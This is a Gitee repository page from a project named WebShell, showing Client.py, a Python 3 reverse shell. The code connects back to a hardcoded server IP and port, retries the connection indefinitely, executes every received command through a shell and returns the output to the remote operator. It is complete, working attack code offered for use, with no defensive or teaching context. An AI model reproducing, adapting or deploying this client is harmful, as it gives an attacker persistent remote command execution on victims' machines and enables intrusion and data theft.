1 Star 1 Fork 1

Handsome/WebShell

加入 Gitee
与超过 1400万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
Client.py 2.19 KB
一键复制 编辑 原始数据 按行查看 历史
xl7dev 提交于 2017-04-11 18:45 +08:00 . add python3 reverse shell
from socket import *
import subprocess
import os
import time
import sys
ip = '192.168.1.88' # server ip, which you want to connect to
port = 4343 # the port needs to be the same as server.py port in order to connect with server
class Client:
def __init__(self, _host, _port=3434):
self.host = _host
self.port = _port
self.s = None
self.launch()
# run younioner
def launch(self):
try:
self.open_socket()
self.receive_commands()
self.chat()
except error as e:
time.sleep(6)
self.launch()
# will create the socket
def open_socket(self):
try:
self.s = socket(AF_INET, SOCK_STREAM)
self.s.connect((self.host, self.port))
except:
time.sleep(5)
self.open_socket()
# receive commands from the Server
def receive_commands(self):
try:
while True:
data = self.s.recv(1024)
striped_data = data[:].strip().decode("utf-8")
if striped_data[:2] == 'cd':
os.chdir(striped_data[3:])
if len(data) > 0:
try:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stderr=subprocess.PIPE,
stdout=subprocess.PIPE, stdin=subprocess.PIPE)
result = str(cmd.stdout.read() + cmd.stderr.read(), "utf-8")
self.s.send(str.encode(result + str(os.getcwd()) + " > "))
except:
result = "Command not recognized \n"
self.s.send(str.encode(result + str(os.getcwd()) + " > "))
# this condition will work when the user quit server.py
if striped_data == "end-of-session":
time.sleep(2)
self.s.close()
sys.exit(0)
os._exit(0)
exit(0)
quit(0)
self.s.close()
except:
time.sleep(5)
self.receive_commands()
if __name__ == '__main__':
c = Client(ip, port)
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
其他
1
https://gitee.com/byhandsome/WebShell.git
git@gitee.com:byhandsome/WebShell.git
byhandsome
WebShell
WebShell
master

搜索帮助